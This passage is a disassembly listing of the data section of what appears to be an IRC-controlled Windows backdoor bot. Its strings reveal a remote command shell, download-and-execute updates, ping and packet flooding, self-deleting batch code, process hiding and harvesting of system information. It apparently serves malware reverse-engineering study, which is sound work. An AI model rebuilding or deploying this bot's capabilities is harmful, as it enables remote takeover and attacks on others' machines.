aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; ___:0042F8D8o
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4B+3	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------


loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
